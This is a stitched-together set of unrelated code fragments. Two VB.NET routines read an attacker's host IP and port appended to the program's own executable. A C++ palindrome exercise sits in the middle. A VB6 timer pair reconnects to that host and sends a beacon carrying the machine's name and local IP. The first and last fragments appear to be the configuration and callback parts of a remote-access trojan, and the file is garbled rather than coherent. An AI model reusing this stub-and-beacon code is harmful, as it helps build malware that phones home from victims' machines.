Public Sub EditarServer()
        On Error Resume Next
        Dim Yo As String
        Dim Partes() As Object ' <--- Tenia que declararlo como array u.u
        Dim SubFirma As String
        SubFirma = "@#~~#@"

        FileOpen(1, My.Application.Info.DirectoryPath & "\" & My.Application.Info.AssemblyName & ".exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Shared) ' Y abrirlo como shared para poderse usarse a si mismo..
        Yo = Space(LOF(1))
        FileGet(1, Yo)
        FileClose(1)

        Partes = Split(Yo, SubFirma)
        IPDelHost = Partes(1).ToString
        PuertoDelHost = Partes(2).ToString
    End Sub

Public Sub EditarServer()
        On Error Resume Next 'Si le quito el resume salta el error
        Dim Yo As String
        Dim Partes As Object
        Dim SubFirma As String
        SubFirma = "@#~~#@"

        FileOpen(1, My.Application.Info.DirectoryPath & "\" & My.Application.Info.AssemblyName & ".exe", OpenMode.Binary)
        Yo = Space(LOF(1))
        FileGet(1, Yo)
        FileClose(1)

        Partes = Split(Yo, SubFirma)
        IPDelHost = Partes(1)
        PuertoDelHost = Partes(2)
    End Sub

/*
		Ejercicio: XX

      Descripción: Palindromos

*/
#include <iostream>
#include <stdio.h>
#define n 15
char palabra[n];
int i=0;
void palindromo(char t[],int nl);
void main()
{
do
{
	cout<<"Introduce una palabra caracter a caracter para saber si es palindroma: ";
        cout<<"\nPulse * para terminar.";
   cin>>palabra[i];
   i++;
}
while(palabra[i-1]!='*' && i<n);
palindromo(palabra,i-1);
getchar();
}

void palindromo(char t[],int nl)
{
	int i=0,j=nl;
   bool iguales=(t[i]==t[j-1]);
   while(iguales && i<=j)
    {
    	iguales=(t[i]==t[j-1]);
    i++;
    j--;
    }
    if(iguales==true)
    	cout<<"\nLa palabra es palindroma";
    else
    	cout<<"\nLa palabra no es palindroma.";
}//fin

Private Sub Timer1_Timer()
On Error Resume Next
If ws.State <> 7 Then 'Si estas desconectado.
ws.CloseSck 'ws.CloseSck  'Cerramos la conexión.
ws.Connect ip, port 'Y nos conectamos
Timer2.Enabled = True 'Desbloqueamos el timer2.
End If 'Cerramos el if
End Sub

Private Sub Timer2_Timer()
On Error Resume Next
If ws.State = 7 Then 'Si estas Conectado.
ws.SendData "hola|" & ws.LocalHostName & "|" & ws.LocalIP
Sleep 10
Timer2.Enabled = False
End If
End Sub